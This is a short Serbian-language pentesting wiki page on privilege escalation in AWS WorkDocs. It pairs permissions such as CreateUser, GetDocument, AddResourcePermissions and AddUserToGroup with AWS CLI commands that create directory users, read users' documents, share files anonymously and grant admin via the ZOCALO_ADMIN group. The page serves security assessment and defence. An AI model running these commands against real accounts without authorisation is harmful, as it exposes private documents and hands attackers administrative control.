# AWS - WorkDocs Privesc

## WorkDocs

Za više informacija o WorkDocs, proverite:

{{#ref}}
../aws-services/aws-directory-services-workdocs-enum.md
{{#endref}}

### `workdocs:CreateUser`

Kreirajte korisnika unutar naznačenog direktorijuma, tada ćete imati pristup i WorkDocs i AD:
```bash
# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
```
### `workdocs:GetDocument`, `(workdocs:DescribeActivities`)`

Fajlovi mogu sadržati osetljive informacije, pročitajte ih:
```bash
# Get what was created in the directory
aws workdocs describe-activities --organization-id <directory-id>

# Get what each user has created
aws workdocs describe-activities --user-id "S-1-5-21-377..."

# Get file (a url to access with the content will be retreived)
aws workdocs get-document --document-id <doc-id>
```
### `workdocs:AddResourcePermissions`

Ako nemate pristup da nešto pročitate, možete jednostavno dodeliti pristup.
```bash
# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>
```
### `workdocs:AddUserToGroup`

Možete postaviti korisnika za administratora tako što ćete ga dodati u grupu ZOCALO_ADMIN.\
Za to pratite uputstva sa [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)

Prijavite se sa tim korisnikom u workdocs i pristupite administratorskom panelu na `/workdocs/index.html#/admin`

Nisam našao način da to uradim iz cli.
